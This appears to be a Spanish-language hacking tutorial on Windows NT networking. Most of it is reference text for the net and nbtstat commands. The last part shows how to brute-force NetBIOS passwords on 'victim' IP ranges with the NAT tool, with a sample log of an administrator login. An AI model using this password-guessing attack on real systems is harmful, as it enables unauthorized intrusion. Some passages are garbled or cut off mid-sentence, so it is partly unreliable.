nombre_equipo

Es El nombre del equipo que comparte las colas de impresion.

recurso_compartido

Es El nombre de la cola de impresion. Cuando incluya

recurso_compartido y nombre_equipo, separelos con una barra invertida

(\).

 

trabajo_n§

Es El numero de identificacion asignado a un trabajo de impresion en

una cola. Un equipo con una o mas colas de impresion asigna a cada

trabajo un numero unico. Si se esta usando un numero de trabajo en

una cola compartida por un equipo, dicho numero no se asignara a

ningun otro trabajo, ni siquiera a otras colas de ese equipo.

/hold

Cuando se usa con trabajo_n§, retiene el trabajo en espera en la cola

de impresion. El trabajo permanece en la cola y los demas trabajos lo

rebasaran hasta que se libere.

/release

Libera un trabajo o una cola de impresion que se ha retenido.

/delete

Quita un trabajo de la cola de impresion.

 

 

Ejemplos

-------

 

Para obtener informacion acerca del trabajo numero 35 del equipo

\\PRODUCCION, escriba:

net print \\produccion 35

Para retener el trabajo numero 263 del equipo \\PRODUCCION, escriba:

net print \\produccion 263 /hold

Para liberar el trabajo numero 263 del equipo \\PRODUCCION, escriba:

net print \\produccion 263 /release

Para obtener una lista del contenido de la cola de impresion MATRIZ del

equipo \\PRODUCCION, escriba:

net print \\produccion\matriz

 

 

Notas

-----

 

El comando net print muestra informacion en distintos formatos acerca

de las colas de impresion.

Puede hacer que se presente una cola en particular usando:

net print \\nombre_equipo\recurso_compartido

Lo siguiente es un ejemplo de la informacion presentada de todas las

colas de impresion:

 

Colas de impresora en \\PRODUCCION

Nombre Trabajo No. Tama~o Estado

-----------------------------------------------------------

Cola LASER 1 trabajos *Cola activa*

1 trabajos 0 en cola

 

Use net print trabajo_n§ para mostrar un unico trabajo de impresion.

Aparecera una pantalla similar a la siguiente:

Trabajo No. 35

Estado Esperando

Tama~o 3096

Comentario

Usuario MARIASL

Notificar MARIASL

Tipo de dato del trabajo

Parametros del trabajo

Informacion adicional

 

 

> Net Send:

Envia mensajes a otros usuarios, equipos, grupos o nombres para mensajes

en la red. El servicio mensajeria debe estar en ejecucion para poder

recibir mensajes.

net send {nombre | * | /domain[:nombre] | /users} mensaje

 

 

Parametros

----------

 

nombre

Es El nombre de usuario, de equipo o nombre para mensajes al que se

envia el mensaje. Si se trata de un nombre de equipo que contiene

caracteres en blanco, escribalo entre comillas (" ").

*

Envia el mensaje a todos los nombres del grupo.

 

/domain[:nombre]

Envia el mensaje a todos los nombres del dominio del equipo. Si se

especifica nombre, se enviara el mensaje a todos los nombres del

dominio o grupo de trabajo especificado.

/users

Envia el mensaje a todos los usuarios conectados al servidor.

mensaje

Es El texto que se enviara como mensaje.

 

 

Ejemplos

--------

 

Para enviar el mensaje "Reunion cambiada a las 15 horas. En el mismo

lugar." al usuario robertof, escriba:

net send robertof Reunion cambiada a las 15 horas. En el mismo lugar.

Para enviar un mensaje a todos los usuarios conectados al servidor,

escriba:

net send /users Este servidor se apagara en 5 minutos.

Para enviar un mensaje que incluya una barra diagonal, escriba:

net send robertof "Formatear tu disco con FORMAT /4"

 

 

Notas

-----

 

Solo se puede enviar un mensaje a un nombre que este activo en la red.

Si lo envia a un nombre de usuario, este debe haber iniciado una

sesion y estar ejecutando el servicio mensajeria para recibir el

mensaje.

Enviar mensajes a varios usuarios

Windows NT proporciona varios metodos para transmitir mensajes.

Puede hacerlo a todos los nombres del dominio de su equipo (con * o

/domain) o a otro dominio diferente (/domain:nombre). Los mensajes

transmitidos pueden tener hasta 128 caracteres.

La opcion /users permite enviar un mensaje a todos los usuarios que

tienen sesiones en el servidor. Los parametros que envian mensajes

a varios usuarios deben usarse con precaucion.

 

 

 

> Net Session:

 

Muestra la lista o desconecta las sesiones entre un equipo local y los

clientes conectados a el.

net session [\\nombre_equipo] [/delete]

 

 

Parametros

----------

 

ninguno

Escriba net session sin parametros para que se muestre informacion

acerca de todas las sesiones con el equipo local.

\\nombre_equipo

Identifica el equipo para el cual se mostraran o desconectaran

sesiones.

/delete

Finaliza la sesion del equipo con \\nombre_equipo y cierra todos los

archivos abiertos en el equipo para la sesion. Si se omite

\\nombre_equipo, se cancelaran todas las sesiones del equipo local.

 

 

Ejemplos

--------

 

Para mostrar una lista con informacion sobre las sesiones del servidor

local, escriba:

net session

Para mostrar informacion sobre las sesiones del cliente cuyo nombre de

equipo es SANCHEZ, escriba:

net session \\sanchez

Para finalizar todas las sesiones entre el servidor y los clientes

conectados, escriba:

net session /delete

 

 

Notas

-----

El comando net session puede escribirse tambien como net sessions o net

sess.

Use El comando net session para ver en pantalla los nombres de equipo

y nombres de usuario de aquellos usuarios que tienen acceso a un

servidor, si tienen archivos abiertos y cuanto tiempo ha permanecido

inactiva la sesion de cada uno de ellos.

La pantalla es similar a la siguiente:

 

Equipo Usuario Tipo de cliente Abierto Inactiva

-------------------------------------------------------------

\\BASSETT CRISDR NT 1 00:00:13

\\SANZCA Administrador DOS LM 2.1 0 01:05:13

 

Para mostrar la sesion de un usuario, incluya \\nombre_equipo con el

comando. La presentacion de un unico usuario incluye una lista de los

recursos compartidos con los que el usuario tiene conexiones.

Una sesion queda registrada cuando un usuario de un cliente entra en

contacto con un servidor. Esto ocurre cuando los dos sistemas estan en

la misma red y el servidor acepta el nombre y la contrase~a del

usuario. Un usuario de un cliente debe tener una sesion iniciada en el

servidor antes de poder usar los recursos compartidos del mismo; una

sesion no se establece hasta que el usuario de un cliente se conecta a

un recurso. Entre un cliente y un servidor solo puede existir una

sesion, pero puede haber varios puntos de entrada, o conexiones, a los

recursos.

Para determinar el tiempo que puede permanecer inactiva una sesion

antes de que se desconecte automaticamente, active la caracteristica

autodisconnect con la opcion /autodisconnect del comando net config

server. El usuario no interviene en este tipo de desconexion, puesto

que Windows NT reanuda automaticamente la conexion en cuanto el usuario

vuelve a usar el recurso.

Para finalizar una sesion con el servidor, use la opcion /delete junto

con \\nombre_equipo.

 

 

> Net Share:

Crea, elimina o muestra recursos compartidos.

net share recurso_compartido

net share recurso_compartido=unidad:ruta_de_acceso

[/users:numero | /unlimited] [/remark:"texto"]

net share recurso_compartido [/users:numero | unlimited]

[/remark:"texto"]

net share {recurso_compartido | unidad:ruta_de_acceso} /delete

 

 

Parametros

----------

 

ninguno

Escriba net share sin parametros para mostrar informacion acerca de

todos los recursos compartidos en el equipo local.

recurso_compartido

Es El nombre de red del recurso compartido. Escriba net share con un

recurso_compartido unicamente para mostrar informacion acerca de

dicho recurso compartido.

unidad:ruta_de_acceso

Especifica la ruta de acceso absoluta del directorio que va a

compartirse.

/users:numero

Establece el numero maximo de usuarios que pueden tener acceso

simultaneamente al recurso compartido.

/unlimited

Especifica que puede tener acceso simultaneamente al recurso

compartido un numero ilimitado de usuarios.

/remark:"texto"

Agrega un comentario descriptivo acerca del recurso. Escriba el texto

entre comillas.

/delete

Deja de compartir un recurso.

 

 

 

Ejemplos

-------

 

Para mostrar informacion acerca de los recursos compartidos en el

equipo, escriba:

net share

Para compartir el directorio C:\CARTAS de un equipo con el nombre

compartido SECRETARIA e incluir un comentario, escriba:

net share secretaria=c:\cartas /remark:"Para el departamento 123."

Para dejar de compartir el directorio CARTAS, escriba:

net share secretaria /delete

Para compartir el directorio C:\LST FIG de un equipo con el nombre

compartido LISTA, escriba: net share lista="C:\lst fig"

 

 

Notas

-----

 

Use El comando net share para compartir recursos.

Para compartir un directorio con una ruta de acceso que contiene un

caracter en blanco, escriba la unidad y la ruta del directorio entre

comillas (" ").

Cuando se muestran todos los recursos compartidos de un equipo, Windows

NT indica el nombra del recurso compartido, el nombre o nombres de

dispositivo o rutas de acceso asociadas con el recurso y un comentario

descriptivo acerca de este.

La presentacion en pantalla es similar a la siguiente:

 

Nombre Recurso Comentario

-------------------------------------------------------

ADMIN$ C:\WINNT Admin remota

C$ C:\ Uso interno

print$ C:\WINNT\SYSTEM\SPOOL

IPC$ IPC remota

LASER LPT1 En cola Impresora laser

 

Los recursos compartidos de un servidor se guardan a medida que se

crean. Cuando detenga el servicio Servidor, todos los recursos

compartidos se desconectaran, pero se volveran a conectar

automaticamente en cuanto vuelva a iniciarse el servicio o cuando se

reinicie el equipo.

 

 

> Net Start:

Inicia un servicio o muestra una lista de los servicios iniciados. Los

nombres de servicios que son de dos o mas palabras, como inicio de

sesion de red o Examinador de equipos, deben estar entre comllas (" ").

net start [servicio]

 

 

Parametros

---------

 

ninguno

Escriba net start sin parametros para mostrar una lista de los

servicios en ejecucion.

servicio

Puede ser:

1. Alerta

2. Servicio de cliente para netware

3. Servidor del Portafolio

4. Examinador de equipo

5. Cliente dhcp

6. Duplicador de directorios

7. Registro de sucesos

8. Servicio de publicacion de FTP

9. LPDSVC

10. Mensajeria

11. Inicio de sesion

12. DDE de red

13. DSDM DDE de red

14. Agente de supervision de red

15. Proveedor de seguridad nt lm

16. OLE

17. Administrador de conexiones de acceso remoto

18. Servidor de acceso remoto

19. Localizador de llamada a procedimientos remotos (rpc)

20. Servicio de llamada a procedimientos remotos

21. Schedule

22. Servidor

23. Servicios simples de tcp/ip

24. SNMP

25. Spooler

26. Ayuda de NetBIOS de tcp/ip

27. SAI

28. Estacion de trabajo

Los siguientes servicios solo estan disponibles en Windows NT Server:

1. Servidor de archivos para Macintosh

2. Servidor de puerta de enlace o gateway para netware

3. Servidor de DHCP de Microsoft

4. Servidor de impresion para Macintosh

5. Inicio remoto

6. Servicio de nombres Internet de windows

 

 

Notas

-----

 

Use El comando net start servicio para iniciar un servicio de Windows

NT. Algunos servicios dependen de otros servicios.

Puede utilizar la opcion Servicios en el Panel de control para

configurar el inicio y la detencion automatica de los servicios. Esta

opcion tambien le permite detener, iniciar, interrumpir y continuar los

servicios de red manualmente.

Los nombres de servicios que constan de dos o mas palabras, como Inicio

de sesion de red o Examinador de equipos, deben estar entre comillas

(" ").

Este comando tambien inicia los servicios de red que no estan incluidos

en Windows NT.

Los servicios que pueden iniciarse son:

Net Start "Administrador de conexiones de acceso remoto"

Net Start "Agente de supervisi¢n de red"

Net Start "Ayuda de NetBIOS de TCP/IP"

Net Start "Cliente de DHCP"

Net Start "DDE de red"

Net Start "Duplicador de directorios"

Net Start "Estacion de trabajo"

Net Start "Examinador de equipos"

Net Start "Inicio de sesi¢n de red"

Net Start "Inicio remoto"

Net Start "Localizador de rpc"

Net Start "Proveedor de seguridad NT LM"

Net Start "Registro de sucesos"

Net Start "Servicio de cliente para NetWare"

Net Start "Servicio de llamada a procedimientos remotos (RPC)"

Net Start "Servicio de nombres Internet de Windows"

Net Start "Servicio de publicaci¢n de FTP"

Net Start "Servicio de puerta de enlace o gateway para NetWare"

Net Start "Servicio ISNSAP de acceso remoto"

Net Start "Servicio Schedule"

Net Start "Servicios simples de TCP/IP"

Net Start "Servidor de acceso remoto"

Net Start "Servidor de archivos para Macintosh"

Net Start "Servidor de dde de red"

Net Start "Servidor de impresion para Macintosh"

Net Start "Servidor de Portafolio"

Net Start "Servidor DHCP de Microsoft"

Net Start Alerta

Net Start Lpdsvc

Net Start Mensajeria

Net Start Sai

Net Start Servidor

Net Start Snmp

Net Start Spooler

 

 

> Net Stadistics:

Muestra el registro de estadisticas del servicio local Estacion de

trabajo o Servidor.

net statistics [workstation | server]

 

 

Parametros

----------

 

ninguno

Escriba net stadistics sin parametros para obtener una lista de los

servicios en ejecucion para los cuales hay datos estadisticos

disponibles.

workstation

Muestra los datos estadisticos del servicio local Estacion de

trabajo.

server

Muestra los datos estadisticos del servicio local Servidor.

 

 

Ejemplos

--------

 

Para mostrar los servicios en ejecucion para los que hay estadisticas

disponibles, escriba:

net stats

Para mostrar las estadisticas del servicio servidor y evitar que se

desplace por la pantalla, escriba:

net statistics server | more

 

 

Notas

-----

 

Este comando puede escribirse tambien como net stats.

Use El comando net stadistics para mostrar informacion sobre el

rendimiento del servicio especificado.

 

El servicio servidor:

Windows NT indica el nombre de equipo, la fecha y hora en que se

actualizaron por ultima vez las estadisticas, y proporciona la

siguiente informacion:

1. El numero de sesiones que se iniciaron, se desconectaron

automaticamente y se desconectaron a causa de error.

2. El numero de kilobytes enviados y recibidos, y el tiempo medio de

respuesta del servidor.

3. El numero de errores e infracciones de contrase~a y limites de

permiso.

4. El numero de veces que se usaron los archivos, impresoras y

dispositivos de comunicaciones compartidos.

5. El numero de veces que se excedio el tama~o del bufer de memoria.

 

El servicio Estacion de trabajo:

Windows NT indica el nombre de equipo del equipo, la fecha y hora en

que se actualizaron por ultima vez las estadisticas, y proporciona la

siguiente informacion:

1. El numero de bytes y SMB recibidos y transmitidos.

2. El numero de operaciones de lectura y escritura logradas o

fallidas.

3. El numero de errores en la red.

4. El numero de sesiones fallidas, desconectadas o conectadas

nuevamente.

5. El numero de conexiones a recursos compartidos logradas o

fallidas.

 

 

> Net Stop:

Detiene un servicio de Windows NT.

net stop servicio

 

 

Parametros

----------

 

servicio

Puede ser alerta, servicio de cliente para netware, Servidor del

Portafolio, examinador de equipos, duplicador de directorios,

servicio de publicacion de FTP, lpdsvc, mensajeria, inicio de sesion

de red, dde de red, dsdm de red, agente de supervision de red,

proveedor de seguridad nt lm, ole, administrador de conexiones de

acceso remoto, servicio isnsap de acceso remoto, servidor de acceso

remoto, localizador de llamada a procedimientos remotos (rpc),

schedule, servidor, servicios simples de tcp/ip, snmp, spooler,

ayuda de NetBIOS de tcp/ip, sai y estacion de trabajo.

Los siguientes servicios solo estan disponibles en Windows NT

Server: servidor de archivos para macintosh, servicio de puerta de

enlace o gateway para netware, servidor dhcp de microsoft, servidor

de impresion para macintosh, servicio de nombres internet de

windows.

 

 

Notas

-----

 

Detiene un servicio para suprimir la funcion que realiza en la red y

para eliminar el software de la memoria.

Al detener el servicio Servidor se impide que los usuarios tengan

acceso a los recursos compartidos del equipo. Si detiene el servicio

Servidor cuando los usuarios estan teniendo acceso a los recursos,

Windows NT mostrara un mensaje de advertencia pidiendo confirmacion

antes de cancelar las conexiones. Una respuesta afirmativa cancelara

todas las conexiones con el equipo.

Antes de detener el servicio Servidor, puede hacer lo siguiente:

1. Efectuar una pausa en el servicio (para no permitir nuevas

conexiones)

2. Enviar un mensaje advirtiendo a los usuarios de que deben

desconectarse de los recursos del servidor.

Net stop tambien puede detener servicios de red no suministrados con

Windows NT.

 

 

> Net Time:

Sincroniza el reloj del equipo con el de otro equipo o dominio. Si se

utiliza sin la opcion /set, muestra la hora de otro equipo o dominio.

net time [\\nombre_equipo | /domain[:nombre]] [/set]

 

 

Parametros

----------

 

\\nombre_equipo

Es El nombre del servidor que desee comprobar o con el que desee

sincronizar las estaciones de trabajo.

/domain[:nombre]

Es El dominio con el que desea sincronizar la hora.

/set

Sincroniza el reloj del equipo con el del equipo o dominio

especificado.

 

 

> Net Use:

Conecta o desconecta un equipo de un recurso compartido o muestra

informacion acerca de las conexiones del equipo. Tambien controla las

conexiones de red persistentes. Como veremos mas adelante, este comando

es de una gran importancia para averiguar informacion sobre el sistema.

net use [nombre_dispositivo]

[\\nombre_equipo\recurso_compartido[\volumen]]

[contrase~a | *]] [/user:[nombre_dominio\]nombre_usuario]

[[/delete] | [/persistent:{yes | no}]]

net use nombre_dispositivo [/home[contrase~a | *]]

[/delete:{yes | no}]

net use [/persistent:{yes | no}]

 

 

Parametros

----------

 

ninguno

Escriba net use sin parametros para obtener una lista de las

conexiones de red.

nombre_dispositivo

Aigna un nombre para la conexion al recurso o especifica el

dispositivo que se va a desconectar. Hay dos tipos de nombres de

dispositivos: unidades de disco (D a Z) e impresoras (LPT1 A LPT3).

Escriba un asterisco en lugar de un nombre especifico de dispositivo

para asignar el siguiente nombre de dispositivo disponible.

\\nombre_equipo\recurso_compartido

Es El nombre del servidor y del recurso compartido. Si el nombre de

equipo contiene caracteres en blanco, escriba la barra invertida

doble (\\) y el nombre entre comillas (" "). El nombre del equipo

puede tener entre 1 y 15 caracteres.

\volumen

Especifica un volumen NetWare del servidor. Para poder conectarse con

servidores NetWare debe tener instalado y estar ejecutando el

Servicio de cliente para NetWare (Windows NT Workstation) o el

servicio de puerta de enlace o gateway para NetWare (Windows NT

Server).

Contrase~a

Es la contrase~a necesaria para tener acceso al recurso compartido.

*

Pide por la contrase~a. Los caracteres no se muestran en pantalla a

medida que los escribe.

/user

Especifica un nombre de usuario diferente con el que se realiza la

conexion.

nombre_dominio

Especifica otro dominio. Por ejemplo,

net use d: \\servidor\recurso_compartido /user:admin\mario conecta el

usuario mario de la misma forma que si la conexion se realizara desde

El dominio administrador. Si se omite el dominio, se usara aquel en

el que tenga lugar la conexion actual.

nombre_usuario

Especifica el nombre de usuario con el que se iniciara la sesion.

/home

Conecta a un usuario con su directorio particular.

/delete

Cancela la conexion de red especificada. Si el usuario especifica la

conexion mediante un asterisco se cancelaran todas las conexiones de

red.

/persistent

Controla el uso de conexiones de red persistentes. El valor

predeterminado es la ultima configuracion utilizada. Las conexiones

sin dispositivos no son persistentes.

yes

Guarda todas las conexiones tal como se realizaron y las restaura en

El siguiente inicio de sesion.

no

No guarda la conexion en curso ni las siguientes. Las existentes se

restauraran en el siguiente inicio de sesion. Use el modificador

/delete para eliminar conexiones persistentes.

 

 

Ejemplos

--------

 

Para asignar el nombre de dispositivo de unidad de disco E: al

directorio compartido CARTAS del servidor \\FINANCIERO, escriba:

net use e: \\financiero\cartas

Para asignar el nombre de dispositivo de unidad de disco M: al

directorio MARIA dentro del volumen CARTAS del servidor NetWare

FINANCIERO, escriba:

net use m: \\financiero\cartas\mar¡a

Para asignar el nombre de dispositivo LPT1 a la cola de impresora

compartida LASER2 del servidor \\CONTABILIDAD, escriba:

net use lpt1: \\contabilidad\l ser2

Para desconectarse de la cola de impresora LPT1, escriba:

net use lpt1: /delete

Para asignar el nombre de dispositivo de unidad de disco H: al

directorio particular del usuario mario, escriba:

net use h: \\contabilidad\usuarios /home /user:mario

Para asignar el nombre de dispositivo de unidad de disco F: al

directorio compartido NOTAS del servidor \\FINANCIERO, que requiere la

contrase~a hctarcs, sin que la conexion sea persistente, escriba:

net use f: \\financiero\notas hctarcs /persistent:no

Para desconectarse del directorio \\FINANCIERO\NOTAS, escriba:

net use f: \\financiero\notas /delete

Para conectarse a un recurso compartido del servidor FINANCIERO2,

escriba:

net use k: "\\financiero 2"\circulares

Si El nombre del servidor incluye un espacio en blanco, escribalo entre

comillas; de lo contrario, Windows NT mostrara un mensaja de error.

Para restaurar las conexiones actuales cada vez que se inicie una

sesion, independientemente de cambios futuros, escriba:

net use /persistent:yes

 

Notas

-----

Utilice el comando net use para efectuar la conexion o desconexion de

un recurso de la red y para ver sus conexiones actuales con dichos

recursos. Es imposible desconectarse de un directorio compartido si se

utiliza como unidad actual o si esta en uso por un proceso activo.

Hay varias formas de obtener informacion acerca de una conexion:

1. Escriba net use nombre_dispositivo para obtener la informacion

acerca de una conexion especifica.

2. Escriba net use para obtener una lista de todas las conexiones

dEl equipo.

 

Conexiones sin dispositivos

Las conexiones sin dispositivos no son persistentes.

Conexion con servidores NetWare

Una vez que el software Servicio de cliente para NetWare o Servicio de

puerta de enlace o gateway para NetWare esta instalado y en ejecucion,

podra conectarse a un servidor NetWare en una red novell. Utilice la

misma sintaxis que al conectarse a un servidor de red de Windows,

excepto que debe incluir el volumen con el que desea conectarse.

 

 

> Net User:

Agrega o modifica cuentas de usuario o muestra informacion acerca de

ellas.

net user [nombre_usuario [contrase¤a | *] [opciones]] [/domain]

net user nombre_usuario {contrase¤a | *} /add [opciones] [/domain]

net user nombre_usuario [/delete] [/domain]

 

 

Parametros

----------

 

ninguno

Escriba net user sin parametros para ver una lista de las cuentas de

usuario del equipo.

nombre_usuario

Es El nombre de la cuenta de usuario que se desea agregar, eliminar,

modificar o ver. El nombre de la cuenta de usuario puede tener hasta

20 caracteres.

contrase~a

Asigna o cambia una contrase~ a para la cuenta de usuario. Una

contrase~a debe tener la longitud minima establecida con la opcion

/minpwlen del comando net accounts y puede tener un maximo de 14

caracteres.

*

Pide la contrase~a. Los caracteres no se muestran en pantalla a

medida que los escribe.

/domain

Realiza la operacion en el controlador principal del dominio

principal del equipo.

Este parametro se aplica unicamente a equipos con Windows NT

Workstation que son miembros de un dominio de Windows NT Server. De

forma predeterminada, los equipos con Windows NT Server realizan las

operaciones en el controlador principal de dominio.

NOTA: Esta accion se lleva a cabo en el controlador principal del

dominio principal del equipo. Puede que no se inicie la sesion

en El dominio.

/add

Agrega una cuenta de usuario a la base de datos de cuentas de

usuario.

/delete

Quita una cuenta de usuario de la base de datos de cuentas de

usuario.

 

 

Opciones

--------

 

/active:{no | yes}

Desactiva o activa la cuenta de usuario. Si no esta activa, el

usuario no puede tener acceso a los recursos del equipo. El valor

predeterminado es yes (activa).

/comment:"texto"

Proporciona un comentario descriptivo acerca de la cuenta de usuario.

Puede hasta tener 48 caracteres. Escriba el texto entre comillas.

/countrycode:nnn

Usa los codigos de pais del sistema operativo para instalar los

archivos de ayuda y mensajes de error en el idioma especificado. Un

valor 0 significa el codigo de pais predeterminado.

/expires:{fecha | never}

El parametro fecha establece una fecha de caducidad de la cuenta de

usuario, mientras que never determina una duracion ilimitada de dicha

cuenta. Las fechas de caducidad pueden darse en el formato mm/dd/aa o

mm,dd,aa, dependiendo de /countrycode. Observe que la cuenta caduca

al comienzo de la fecha especificada. Los meses pueden indicarse con

un numero, con todas sus letras o abreviados con tres letras. Los

a~os pueden constar de dos o cuatro digitos. Utilice comas o barras

diagonales para separar por partes de la fecha (no espacios en

blanco). Si se omite aa, se asume el a~o de la siguiente fecha (de

acuerdo con la fecha y hora de su equipo). Por ejemplo, las

siguientes entradas de fecha son equivalentes si se introducen

entre el 10 de enero de 1994 y el 8 de enero de 1885.

jan,9 /9/95 ,9,1995 /9

/fullname:"nombre"

Agrega un determinado nombre al usuario en lugar de su nombre de

usuario normal. Escriba dicho nombre entre comillas.

/homedir:ruta_acceso

Establece la ruta de acceso del directorio particular del usuario.

Dicha ruta debe ser una ya existente.

/homedirreq:{yes | no}

Establece si es necesario un directorio particular.

/passwordchg:{yes | no}

Especifica si los usuarios pueden cambiar su contrase~a. El valor

predeterminado es yes.

/passwordreq:{yes | no}

Especifica si una cuenta de usuario debe tener una contrase~a. El

valor predeterminado es yes.

/profilepath[:ruta_acceso]

Establece una ruta de acceso para el perfil de inicio de sesion del

usuario. Dicha ruta lleva a un perfil de registro.

/scriptpath:ruta_acceso

Establece una ruta de acceso al archivo de comandos de inicio de

sesion del usuario. Ruta_acceso no puede ser una ruta absoluta; es

relativa a %raiz_sistema%\SYSTEM32\REPL\IMPORT\SCRIPTS.

/times:{horas | all}

Especifica las horas en las que se permite al usuario el uso del

equipo. El valor horas se expresa como dia.

[-dia][,dia[-dia]] ,hora[-hora][,hora[-hora]], limitado a incrementos

de una hora. Los dias se pueden deletrear o abreviar (L, M, Mi, J, V,

S, D). Las horas se pueden escribir en formato de 12 o 24 horas. Para

El formato de 12 horas, use AM, PM, O A.M., P.M. El valor all

significa que un usuario puede iniciar una sesion en cualquier

momento. Un valor nulo (en blanco) significa que un usuario nunca

puede iniciar la sesion. Separe al dia y la hora mediante comas, y

las unidades de dia y hora con punto y coma (por ejemplo,

L,4AM-5PM;M,1AM-3PM). No use espacios en la especificacion de /times.

/usercomment:"texto"

Permite que un administrador agregue o cambie el "Comentario de

usuario" de la cuenta. Escriba el texto entre comillas.

/workstations:{nombre_equipo [,...] | *}

Lista de hasta ocho estaciones de trabajo desde las que un usuario

puede iniciar una sesion en la red. Separe los nombres de las

estaciones con una coma. Si /workstation no es una lista o esta es

igual a un *, el usuario puede iniciar una sesion desde cualquier

equipo.

 

 

Ejemplos

--------

 

Para mostrar una lista de todas las cuentas de usuario del equipo

local, escriba:

net user

Para ver informacion acerca de la cuenta juanh, escriba:

net user juanh

Para agregar una cuenta de usuario para Enrique Perez, con derechos de

inicio de sesion desde las 8 A.M. a 5 P.M. de lunes a viernes (sin

espacios en las especificaciones de las horas), una contrase~a

obligatoria y el nombre completo del usuario, escriba:

net user enriquep enriquep /add /passwordreq:yes

/times:lunes-viernes,8am-5pm

/fullname:"Enrique P‚rez"

El nombre de usuario ( enriquep) se escribe la segunda vez como

contrase~a.

Para establecer la hora de inicio de sesion de juansp (8 A.M. a 5 P.M.)

usando la notacion de 24 horas, escriba:

net user juansp /time:Lun-Vie,08:00-17:00

Para establecer la hora de inicio de sesion de juansp (8 A.M a 5 P.M.)

usando la notacion de 12 horas, escriba:

net user juansp /time:Lun-Vie,8am-5pm

Para especificar las horas de inicio de sesion de 4 A.M a 5 P.M. los

Lunes, 1 P.M. a 3 P.M. los martes y 8 A.M. a 5 P.M. de Miercoles a

Viernes para mariasl, escriba:

net user mariasl /time:Lun,4am-5pm;Mar,1pm-3pm;Mie-Vie,8:00-17:00

Para establecer /homedirreq en yes para enriquep y asignarle

\\SERVIDOR\USUARIOS\\ENRIQUEP como directorio particular, escriba:

net user enriquep /homedirreq:yes

/homedir \\SERVIDOR\USUARIOS\ENRIQUEP

 

Notas

-----

Este comando puede escribirse tambien como net users.

Use El comando net user para crear y controlar las cuentas de usuarios

de un dominio. La informacion sobre dichas cuentas se almacena en la

base de datos de cuentas de usuario.

Cuando escriba el comando net user en un equipo que ejecute Windows NT

Server, los cambios en la base de datos de cuentas se produciran

automaticamente, en el controlador principal de dominio y luego se

duplicaran en los controladores de reserva. Esto es valido unicamente

para los dominios de Windows NT Server.

 

 

> Net View:

Muestra una lista de dominios, una lista de equipos o los recursos

compartidos en el equipo especificado.

net view [\\nombre_equipo | /domain[:nombre_dominio]]

net view /network:nw [\\nombre_equipo]

 

Parametros

----------

ninguno

Escriba net view sin parametros para mostrar la lista de los equipos

dEl dominio actual.

nombre_equipo

Especifica el equipo cuyos recursos compartidos desea ver.

/domain[:nombre_dominio]

Especifica el dominio del que se desean ver los equipos disponibles.

Si se omite nombre_dominio, se mostraran todos los dominios de la

red.

/network:nw

Muestra todos los servidores disponibles de una red NetWare. Si se

especifica un nombre de equipo, se mostraran los recursos

disponibles en dicho equipo de la red NetWare. Mediante esta opcion

tambien pueden especificarse otras redes que se hayan agregado al

sistema.

 

Ejemplos

--------

Para ver una lista de los recursos compartidos por el equipo

\\PRODUCTOSM, escriba:

net view \\productos

Para ver los recursos disponibles en el servidor NetWare \\MARKETING,

escriba:

net view /network:nw \\marketing

Para ver una lista de los equipos del dominio o grupo de trabajo Ventas,

escriba:

net view /domain:ventas

 

Notas

-----

Use El comando net view para mostrar una lista de equipos similar a la

siguiente:

 

Nombre de servidor Comentario

-------------------------------------------------------------------

\\PRODUCCION Servidor de archivos de Produccion

\\PRINT1 Sala de impresoras, primer piso

\\PRINT2 Sala de impresoras, segundo piso

 

 

[ 5.4 - Nbtstat ]

---------------

Veamos mas detenidamente este util comando. He aqui sus parametros:

- a : Lista la tabla de nombres de los ordenadores remotos a partir del

nombre de la maquina.

- A : Lista la tabla de nombres de los ordenadores remotos a partir de su

IP.

- c : Lista los nombres de cache remotos incluyendo sus IP's.

- n : Lista los nombres NetBIOS *locales*.

- r : Lista los nombres resueltos via broadcast y via WINS.

- R : Depura y actualiza la tabla de nombres de cache remoto.

- S : Lista tablas de sesiones a partir de la IP.

- s : Lista tablas de sesiones convirtiendo las IP's a nombres NetBIOS.

NetBIOS no tiene ningun error de dise~o, o por lo menos si lo hay no ha

salido a la luz. Sin embargo hay una herramienta (puede haber mas, sin

 

 

 

[ 5.4 - Vulnerabilidades de NetBIOS ]

-----------------------------------

 

NetBIOS tiene muy pocos errores de dise~o, asi que para poder hackear una

maquina NT por NetBIOS, solo tendremos dos opciones principalmente: Extraer

informacion de la maquina por IPC$ o averiguar sus contrase~as a traves del

NAT.

Si se dispone de un se~or diccionario (entiendase por un diccionario cuyo

tama~o ronde los 1024k) en el idioma adecuado, tenemos un objetivo que no

esta demasiado concienciado por las contrase~as y con unos recursos

"protegidos" por contrase~a, NAT podria alegrarnos el dia.

Veamos mas a fondo esta herramienta.

 

 

[ 5.4.1 - NAT ]

-------------

Son las siglas de NetBIOS Auditing Tool, o herramienta para auditorear

NetBIOS.

Como ya he dicho antes es una muy util herramienta. Veamos como usarla.

 

Argumentos

----------

nat -o resultados -u listausuarios -p listapasswords direccion_IP

Con El parametro "-o" se especifica el fichero en el cual se guardaran

los resultados de la auditoria. Con el parametro "-u" se especifica el

fichero en el que tendremos una lista de los usuarios cada uno separados por

un salto de linea. Con el parametro "-p" especificamos el fichero en El que

guardamos las contrase~as que NAT ira probando con cada usuario, separadas

por un salto de carro. Y en Direccion_IP metemos la IP o DNS de la victima.

Tambien podemos conseguir hacer un barrido de IP's especificando la IP de

inicio y la IP final, por ejemplo 123.12.13.1-255, que haria un barrido de

clase C. Se pueden lograr mas combinaciones en este apartado, para ello

recomiendo leer el NAT_DOC.txt que acompa~a a NAT.

Veamos un ejemplo del uso de NAT, sacado de un documento de Rhino9:

 

C:\nat -o vacuum.txt -u usuarios.txt -p pass.txt 204.73.131.10-204.73.131.30

 

[*]--- Reading usernames from usuarios.txt

[*]--- Reading passwords from pass.txt

[*]--- Checking host: 204.73.131.11

[*]--- Obtaining list of remote NetBIOS names

[*]--- Attempting to connect with name: *

[*]--- Unable to connect

[*]--- Attempting to connect with name: *SMBSERVER

[*]--- CONNECTED with name: *SMBSERVER

[*]--- Attempting to connect with protocol: MICROSOFT NETWORKS 1.03

[*]--- Server time is Mon Dec 01 07:44:34 1997

[*]--- Timezone is UTC-6.0

[*]--- Remote server wants us to encrypt, telling it not to

[*]--- Attempting to connect with name: *SMBSERVER

[*]--- CONNECTED with name: *SMBSERVER

[*]--- Attempting to establish session

[*]--- Was not able to establish session with no password

[*]--- Attempting to connect with Username: ADMINISTRATOR' Password: `pass'

[*]--- CONNECTED: Username: ·DMINISTRATOR' Password: `pass'

[*]--- Obtained server information:

Server=[STUDENT1] User=[] Workgroup=[DOMAIN1] Domain=[]

[*]--- Obtained listing of shares:

Sharename Type Comment

--------- ---- -------

